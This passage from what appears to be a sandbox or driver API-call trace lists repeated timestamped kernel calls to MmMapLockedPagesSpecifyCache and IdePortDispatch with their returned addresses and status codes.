CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c7b000 [0112.898] IdePortDispatch () returned 0x103 [0112.899] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c7e000 [0112.899] IdePortDispatch () returned 0x103 [0112.900] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c82000 [0112.900] IdePortDispatch () returned 0x103 [0112.901] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c84000 [0112.901] IdePortDispatch () returned 0x103 [0112.902] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8a000 [0112.902] IdePortDispatch () returned 0x103 [0112.903] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8f000 [0112.903] IdePortDispatch () returned 0x103 [0112.903] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c95000 [0112.903] IdePortDispatch () returned 0x103 [0112.904] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c9a000 [0112.904] IdePortDispatch () returned 0x103 [0112.905] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c9f000 [0112.905] IdePortDispatch () returned 0x103 [0112.906] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca4000 [0112.906] IdePortDispatch () returned 0x103 [0112.906] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002caa000 [0112.906] IdePortDispatch () returned 0x103 [0112.907] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002caf000 [0112.907] IdePortDispatch () returned 0x103 [0112.908] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb4000 [0112.908] IdePortDispatch () returned 0x103 [0112.908] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb9000 [0112.908] IdePortDispatch () returned 0x103 [0112.909] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cbe000 [0112.909] IdePortDispatch () returned 0x103 [0112.910] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc3000 [0112.910] IdePortDispatch () returned 0x103 [0112.910] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc7000 [0112.910] IdePortDispatch () returned 0x103 [0112.911] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ccc000 [0112.911] IdePortDispatch () returned 0x103 [0112.911] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd1000 [0112.911] IdePortDispatch () returned 0x103 [0112.914] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf5000 [0112.914] IdePortDispatch () returned 0x103 [0112.988] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1e000 [0112.988] IdePortDispatch () returned 0x103 [0112.988] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d22000 [0112.988] IdePortDispatch () returned 0x103 [0112.989] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d26000 [0112.989] IdePortDispatch () returned 0x103 [0112.990] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2a000 [0112.990] IdePortDispatch () returned 0x103 [0112.990] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2f000 [0112.990] IdePortDispatch () returned 0x103 [0112.991] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d34000 [0112.991] IdePortDispatch () returned 0x103 [0112.992] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d39000 [0112.992] IdePortDispatch () returned 0x103 [0112.992] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d3f000 [0112.992] IdePortDispatch () returned 0x103 [0112.993] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d44000 [0112.993] IdePortDispatch () returned 0x103 [0112.993] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d49000 [0112.993] IdePortDispatch () returned 0x103 [0112.994] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4e000 [0112.994] IdePortDispatch () returned 0x103 [0112.995] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d53000 [0112.995] IdePortDispatch () returned 0x103 [0112.995] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d58000 [0112.995] IdePortDispatch () returned 0x103 [0112.996] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5d000 [0112.996] IdePortDispatch () returned 0x103 [0112.996] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d61000 [0112.996] IdePortDispatch () returned 0x103 [0112.997] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d67000 [0112.997] IdePortDispatch () returned 0x103 [0112.998] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6c000 [0112.998] IdePortDispatch () returned 0x103 [0112.998] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d71000 [0112.998] IdePortDispatch () returned 0x103 [0112.999] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d76000 [0112.999] IdePortDispatch () returned 0x103 [0113.000] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7a000 [0113.000] IdePortDispatch () returned 0x103 [0113.001] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7d000 [0113.001] IdePortDispatch () returned 0x103 [0113.001] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d80000 [0113.002] IdePortDispatch () returned 0x103 [0113.002] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d84000 [0113.002] IdePortDispatch () returned 0x103 [0113.003] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d87000 [0113.003] IdePortDispatch () returned 0x103 [0113.004] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d8a000 [0113.004] IdePortDispatch () returned 0x103 [0113.004] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d8d000 [0113.004] IdePortDispatch () returned 0x103 [0113.005] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d90000 [0113.005] IdePortDispatch () returned 0x103 [0113.005] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d93000 [0113.005] IdePortDispatch () returned 0x103 [0113.006] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d96000 [0113.006] IdePortDispatch () returned 0x103 [0113.006] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d98000 [0113.006] IdePortDispatch () returned 0x103 [0113.007] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9a000 [0113.007] IdePortDispatch () returned 0x103 [0113.007] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9c000 [0113.007] IdePortDispatch () returned 0x103 [0113.008] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9e000 [0113.008] IdePortDispatch () returned 0x103 [0113.009] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da0000 [0113.009] IdePortDispatch () returned 0x103 [0113.009] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da2000 [0113.009] IdePortDispatch () returned 0x103 [0113.010] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da4000 [0113.010] IdePortDispatch () returned 0x103 [0113.010] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da6000 [0113.010] IdePortDispatch () returned 0x103 [0113.011] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da8000 [0113.011] IdePortDispatch () returned 0x103 [0113.014] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002daa000 [0113.014] IdePortDispatch () returned 0x103 [0113.014] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dac000 [0113.014] IdePortDispatch () returned 0x103 [0113.015] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dae000 [0113.015] IdePortDispatch () returned 0x103 [0113.016] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db0000 [0113.016] IdePortDispatch () returned 0x103 [0113.016] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db2000 [0113.016] IdePortDispatch () returned 0x103 [0113.017] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db4000 [0113.017] IdePortDispatch () returned 0x103 [0113.017] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db6000 [0113.017] IdePortDispatch () returned 0x103 [0113.018] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db8000 [0113.018] IdePortDispatch () returned 0x103 [0113.019] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dba000 [0113.019] IdePortDispatch () returned 0x103 [0113.020] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dbc000 [0113.020] IdePortDispatch () returned 0x103 [0113.020] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ddf000 [0113.020] IdePortDispatch () returned 0x103 [0113.021] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de1000 [0113.021] IdePortDispatch () returned 0x103 [0113.021] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de3000 [0113.021] IdePortDispatch () returned 0x103 [0113.022] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de5000 [0113.022] IdePortDispatch () returned 0x103 [0113.022] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de7000 [0113.022] IdePortDispatch () returned 0x103 [0113.022] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de9000 [0113.022] IdePortDispatch () returned 0x103 [0113.023] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002deb000 [0113.023] IdePortDispatch () returned 0x103 [0113.023] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ded000 [0113.023] IdePortDispatch () returned 0x103 [0113.024] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002def000 [0113.024] IdePortDispatch () returned 0x103 [0113.024] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df1000 [0113.024] IdePortDispatch () returned 0x103 [0113.025] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df3000 [0113.025] IdePortDispatch () returned 0x103 [0113.027] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003414000 [0113.027] IdePortDispatch () returned 0x103 [0113.027] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003417000 [0113.027] IdePortDispatch () returned 0x103 [0113.028] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800341a000 [0113.028] IdePortDispatch () returned 0x103 [0113.029] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800341e000 [0113.029] IdePortDispatch () returned 0x103 [0113.029] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003421000 [0113.029] IdePortDispatch () returned 0x103 [0113.030] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003424000 [0113.030] IdePortDispatch () returned 0x103 [0113.031] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003427000 [0113.031] IdePortDispatch () returned 0x103 [0113.031] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342a000 [0113.031] IdePortDispatch () returned 0x103 [0113.042] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003441000 [0113.042] IdePortDispatch () returned 0x103 [0113.043] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003444000 [0113.043] IdePortDispatch () returned 0x103 [0113.048] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003447000 [0113.048] IdePortDispatch () returned 0x103 [0113.049] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800344a000 [0113.049] IdePortDispatch () returned 0x103 [0113.050] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800344c000 [0113.050] IdePortDispatch () returned 0x103 [0113.050] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800344e000 [0113.050] IdePortDispatch () returned 0x103 [0113.051] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003451000 [0113.051] IdePortDispatch () returned 0x103 [0113.052] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003454000 [0113.052] IdePortDispatch () returned 0x103 [0113.052] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003457000 [0113.052] IdePortDispatch () returned 0x103 [0113.053] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003459000 [0113.053] IdePortDispatch () returned 0x103 [0113.054] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800345b000 [0113.054] IdePortDispatch () returned 0x103 [0113.054] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800345d000 [0113.054] IdePortDispatch () returned 0x103 [0113.055] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800345f000 [0113.055] IdePortDispatch () returned 0x103 [0113.055] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003461000 [0113.055] IdePortDispatch () returned 0x103 [0113.056] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003464000 [0113.056] IdePortDispatch () returned 0x103 [0113.057] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003468000 [0113.057] IdePortDispatch () returned 0x103 [0113.057] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800346a000 [0113.057] IdePortDispatch () returned 0x103 [0113.058] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800346c000 [0113.058] IdePortDispatch () returned 0x103 [0113.059] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800346e000 [0113.059] 